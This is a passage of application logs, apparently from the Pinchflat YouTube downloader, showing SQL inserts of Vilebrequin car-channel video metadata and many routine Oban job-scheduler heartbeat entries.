s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.914 [debug] QUERY OK source="media_items" db=4.5ms idle=19.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 17:15:02Z], 1] 07:42:11.920 [debug] QUERY OK source="media_items" db=5.1ms idle=22.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "1e55f824-61e6-4847-81d7-2b9460b61adf", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", 19, "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, false, false, 1, [], 98, ~U[2023-06-29 17:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, 1, ~U[2023-06-29 17:15:02Z]] 07:42:11.922 [debug] QUERY OK source="sources" db=1.7ms idle=17.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.928 [debug] QUERY OK source="media_items" db=4.1ms queue=0.6ms idle=15.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 16:15:02Z], 1] 07:42:11.932 [debug] QUERY OK source="media_items" db=3.4ms idle=19.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "Essai Volkswagen PHAETON W12 : Le luxe ultime", "599724b0-4208-4c5d-95ed-8dec4e87df27", "dz-N7JHDWDw", 1866, false, "https://www.youtube.com/watch?v=dz-N7JHDWDw", 20, "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", false, false, false, 1, [], 98, ~U[2023-06-22 16:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "Essai Volkswagen PHAETON W12 : Le luxe ultime", "dz-N7JHDWDw", 1866, false, "https://www.youtube.com/watch?v=dz-N7JHDWDw", "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", false, 1, ~U[2023-06-22 16:15:02Z]] 07:42:11.935 [debug] QUERY OK source="sources" db=1.8ms queue=0.3ms idle=18.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], 1] 07:42:11.939 [debug] QUERY OK source="media_items" db=3.7ms queue=0.3ms idle=15.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:42:11.943 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=17.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:42:11.945 [debug] QUERY OK source="media_items" db=1.3ms idle=16.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 07:42:11.952 [debug] QUERY OK source="tasks" db=1.3ms idle=10.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2359, 1, ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z]] 07:42:11.967 [info] {"args":{"id":1},"id":2353,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":86097519,"event":"job:stop","queue_time":867607,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:42:34.083 [info] {"source":"oban","duration":2573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.420 [info] {"source":"oban","duration":394,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:04.087 [info] {"source":"oban","duration":3402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:34.089 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.421 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:04.092 [info] {"source":"oban","duration":2168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:34.095 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.423 [info] {"source":"oban","duration":963,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:04.097 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:34.103 [info] {"source":"oban","duration":4544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.425 [info] {"source":"oban","duration":985,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:04.105 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:34.109 [info] {"source":"oban","duration":2885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.428 [info] {"source":"oban","duration":1664,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:04.112 [info] {"source":"oban","duration":1958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:34.114 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.435 [info] {"source":"oban","duration":4327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:04.116 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:34.120 [info] {"source":"oban","duration":2965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.438 [info] {"source":"oban","duration":2619,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:04.124 [info] {"source":"oban","duration":3025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:34.128 [info] {"source":"oban","duration":3135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.441 [info] {"source":"oban","duration":1199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:04.132 [info] {"source":"oban","duration":3754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:34.138 [info] {"source":"oban","duration":4556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.444 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:04.141 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:34.147 [info] {"source":"oban","duration":5742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.446 [info] {"source":"oban","duration":1080,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:04.148 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:34.153 [info] {"source":"oban","duration":1868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.448 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:04.156 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:34.160 [info] {"source":"oban","duration":3184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.450 [info] {"source":"oban","duration":892,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:04.162 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:34.166 [info] {"source":"oban","duration":2642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.451 [info] {"source":"oban","duration":597,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:04.170 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:34.173 [info] {"source":"oban","duration":2431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.454 [info] {"source":"oban","duration":843,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:04.175 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:34.178 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.455 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:04.180 [info] {"source":"oban","duration":1825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:34.183 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.456 [info] {"source":"oban","duration":880,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:04.185 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:34.187 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.465 [info] {"source":"oban","duration":6418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:04.192 [info] {"source":"oban","duration":2240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:34.195 [info] {"source":"oban","duration":1974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.467 [info] {"source":"oban","duration":1110,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:04.197 [info] {"source":"oban","duration":1812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:34.200 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.468 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:04.204 [info] {"source":"oban","duration":3061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:34.207 [info] {"source":"oban","duration":2365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.470 [info] {"source":"oban","duration":1150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:04.209 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:34.211 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.472 [info] {"source":"oban","duration":771,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:04.213 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:34.244 [info] {"source":"oban","duration":2870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.474 [info] {"source":"oban","duration":1030,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:04.247 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:34.251 [info] {"source":"oban","duration":2995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.475 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:04.254 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:34.257 [info] {"source":"oban","duration":2149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.477 [info] {"source":"oban","duration":404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:04.259 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:34.264 [info] {"source":"oban","duration":3489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.479 [info] {"source":"oban","duration":1516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:04.270 [info] {"source":"oban","duration":5198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:34.273 [info] {"source":"oban","duration":2321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.481 [info] {"source":"oban","duration":554,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:04.275 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:34.277 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.482 [info] {"source":"oban","duration":466,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:04.279 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:34.285 [info] {"source":"oban","duration":4256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.483 [info] {"source":"oban","duration":527,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:04.287 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:34.289 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.485 [info] {"source":"oban","duration":660,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:04.291 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:34.293 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.487 [info] {"source":"oban","duration":702,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:04.295 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:34.297 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.489 [info] {"source":"oban","duration":722,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:04.300 [info] {"source":"oban","duration":1951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:34.303 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.492 [info] {"source":"oban","duration":481,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:04.305 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:34.307 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.494 [info] {"source":"oban","duration":1114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:04.310 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:34.312 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.497 [info] {"source":"oban","duration":1041,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:04.314 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:34.317 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.498 [info] {"source":"oban","duration":425,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:04.320 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:34.324 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.500 [info] {"source":"oban","duration":1143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:04.327 [info] {"source":"oban","duration":2199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:34.330 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.501 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:04.332 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:34.334 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.505 [info] 